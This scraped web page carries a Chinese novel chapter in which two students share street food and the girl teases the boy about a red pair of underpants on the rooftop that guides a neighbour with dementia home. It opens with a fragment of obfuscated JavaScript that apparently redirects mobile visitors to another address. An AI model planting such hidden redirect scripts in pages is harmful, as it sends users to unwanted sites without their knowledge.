l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357766|199701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容初语诶了声,目光瞄向宗澈:“湘儿,这是你同学?” 楼湘嗯一声:“宗澈,新来的转学生,住咱们楼上,就七叔那屋子。” 身后的宗澈礼貌问好:“阿姨好。” 容初语温柔笑笑:“诶,小同学你好呀。湘儿难得有同学住得这么近,以后有时间到阿姨家里吃个饭。” 宗澈说“好”,夸容初语做的菜闻起来就很好吃。容初语被夸得心花怒放,喊他周末来家里吃饭,又问他爱吃什么。 楼湘在旁边静静听着没打断,出了楼,宗澈睨着她问道:“我真能去你家蹭饭?” “想来就来。” “好啊,那我真的来。” 楼湘把垃圾扔到大楼旁边的垃圾桶,转身进去烧饼店的店面,借厕所洗了把手,出来时手里拿了两个肉夹馍。 “羊肉跟牛肉,你要哪个?”她问。 “羊肉。” 楼湘把羊肉的递给宗澈,说:“给,宵夜我请过了,回家吧。” 宗澈咬了口羊肉夹馍,听到这话哼了声:“别以为我没听到,这俩肉夹馍是里头那大叔请你的。喂,一姐,你请人吃宵夜可不可以有点儿诚意?还想不想我陪你练口语了?我没开玩笑,找我当陪练很贵的。你可以免费用我,要好好珍惜。” 楼湘想了想,觉得他说得有道理,点点头说:“想吃什么?三千块以下,五块钱左右的,我都能请。” 宗澈:“……你还挺大方的。” 楼湘腮帮子鼓起,嚼着牛肉,含糊道:“穷,不要拉倒。” “要,怎么不要。”宗澈黑漆的眸子盯着楼湘,下巴抬了下,“走,你说吃什么就吃什么,就五块钱左右的。” 最后楼湘请宗澈吃了烤冷面,加蛋加肠加肉松,七块钱一个。烤冷面的阿姨一见楼湘来,笑得嘴巴都要咧到耳根去了。 回去的路上,宗澈看了看手里的烤冷面,又看了看楼湘手里的烤冷面,忍不住说:“你在这海堂街很混得开嘛,咱俩点一样的烤冷面,你手里那个比我这个胖一倍。” 楼湘举了举手上鼓鼓囊囊的烤冷面,说:“等你在海堂街住久了,你也会有这待遇。” 宗澈没吱声,心想鬼才要在这住久。 快到一十八号楼时,宗澈手里的烤冷面吃完了,他说了句“等我一会”就往回跑。回来时,拿着两杯冷饮,一杯奶茶一杯水果茶。 “你要哪杯?” 楼湘拿走了奶茶。两人咬着吸管慢悠悠走到楼下,宗澈顿住脚步,抬头看了眼楼顶那条荡漾了好多天的大红裤衩。 今晚风大,那裤衩在风里荡得格外欢快。 “楼湘,问你个事。”他示意楼湘看楼顶,“喏,看到楼顶那条裤衩了吗?我从住进来的第一晚到现在,它从来没离开过。天天在上面迎风荡漾,这条裤衩是有什么故事吗?” “……” 楼湘往后退了一步,抬头,语气平淡:“你说的裤衩我怎么没看到过?在哪?什么颜色?” “就那。”宗澈指了个方向,“骚得一逼的大红色。” “没,我什么都没看到。” “……” 宗澈下意识再看了眼:“怎么可能没看到?那么张扬□□的一条大裤衩。” 楼湘咬着吸管啜了颗珍珠,微微弯唇,说:“真没看到,而且,怎么会有人在那挂裤衩挂那么久?要么是你看错了,要么呢,这是一条只有你才看得到的大红裤衩。你最近是不是比较背?” 说到后面那句话,楼湘刻意压低了点声音。 宗澈呛了下。他最近确实背,要是不背,能沦落到住在这条小破街的地步? 少年往左右看了两眼。因为楼湘的话,这条陈旧的烟火气极重的长街在他眼里忽然变得阴森起来。 “不是吧?你别吓我。”宗澈咳了声,一时联想浮翩,又不得不强装淡定,“我是社会主义接班人,坚定的无神主义者,我不信。” 话音刚落,一阵狂风吹过。 楼上的裤衩“啪”一声落在宗澈脚边,刚刚还信誓旦旦说“不信”的少年跟火烧屁股似的跳到楼湘旁边。 “我艹!楼湘,你看到有什么东西掉我脚边没?” 楼湘目露困惑,朝地上四处张望,继续睁眼说瞎话:“没有啊,什么东西掉下来了?” 宗澈:“……” 少年安静若鸡,眼角余光里,有一坨红色的东西静静躺在地上,似乎正在娇羞地等待他的目光。 他坚决不如它意,硬生生扭过头。 几秒后,烧饼店老板听到动静,出来看是什么状况。 “湘儿,刚是有什么东西掉地上了?” “是朱大爷的大红裤衩。”楼湘上前捡起地上的红裤衩,说,“没事儿东叔,我一会挂回天台去。” “又是那裤衩啊,”烧饼店老板叹了声,“你等会,我给你拿条绳子,你再绑紧点,最近几天风大,这裤衩都不知道掉多少回了。” 宗澈:“……” - 上楼梯时,宗澈走在前头,走了几个台阶,他忽然不走了。回头看着楼湘,眼神幽深。 “楼湘,耍人很好玩是不是?” 楼湘淡定回道:“也不是,要看是什么人。” 宗澈气极反笑:“那耍我很好玩是不是?” 楼湘笑笑,边拾阶而上边说:“还行吧。” 宗澈:“……” 楼湘走到他旁边,把红裤衩往前递:“要不要勇敢地面对你内心所惧,把这条红裤衩送回天台?” 宗澈一脸嫌弃:“这裤衩究竟是怎么回事?为什么一定要挂天台上?” 楼湘没答,只轻声问:“四楼的朱大爷,你见过没?” 宗澈还真在四楼见过一个大爷,回想片刻后便说:“那个戴眼镜拄拐杖的老大爷?” “嗯,是他,这是他的裤衩。” “……” 到了天台,楼湘把红裤衩绑紧挂好后,拿天台铁门后头的扫把扫了扫地板,然后席地而坐。 “也就是说,因为朱大爷的妻子得了老人痴呆,要靠着这条红裤衩才能认得自己住哪栋楼?”宗澈在她旁边坐下,“这也太扯了吧。” “不扯啊,挂上这红裤衩后,朱婆婆确实没再走丢了。每次都能走回东叔的店门口,等朱大爷去接她。” “……那位朱婆婆对红裤衩是有什么执念吗?” “朱婆婆犯病那年,朱大爷正好七十二岁,是本命年。朱婆婆生病的前一天都在想着要给朱大爷买红裤衩。后来她很多人很多事都忘了,但对红裤衩却记得特别牢,也记得那栋有红裤衩的大楼里住着她的爱人。” 宗澈无言以对。 一开始以为这红裤衩是个惊悚故事,没想到居然是个爱情故事。 楼湘对上他一言难尽的眼神,笑了笑,说:“红裤衩挂在这都好几年了,好几次被风吹跑,楼里的人发现后就会买条一模一样的新裤衩回来。宗澈同学,你现在也是一十八号楼的一分子了,以后你要是发现红裤衩没了,记得赶紧买条新的挂回来。街头那家拾一杂货铺就能买得到,要加大码。” 宗澈:“……” 他抬了抬下巴:“那这条是谁买的?” “于老师,就是你邻居。” 宗澈眉骨高高挑了下:“那个抠到连安全套都要循环利用的大叔?那大叔都能抠出一栋大厦了,居然这么大方给人买红裤衩?” 楼湘笑着嗯了声:“于老师也就对自己抠,对别人一点儿不抠。而且他那安全套也是有故事的,不是你以为的那样,以后再跟你说吧。” 安全套还能有什么故事? 宗澈:“你们这条街的人,还挺……特别。” 这是海堂街啊,当然每个人都很特别,而最特别的那个人是她爸爸楼骁。 楼湘侧过头看宗澈,眉眼里是他从未见过的温情。 “宗澈同学,欢迎来到海堂街。有一天你离开这里了,一定会发现这是一条神奇的街。” 女孩的声音清冷柔和,被风吹散到他耳边。后来的宗澈把这句话记了许多年。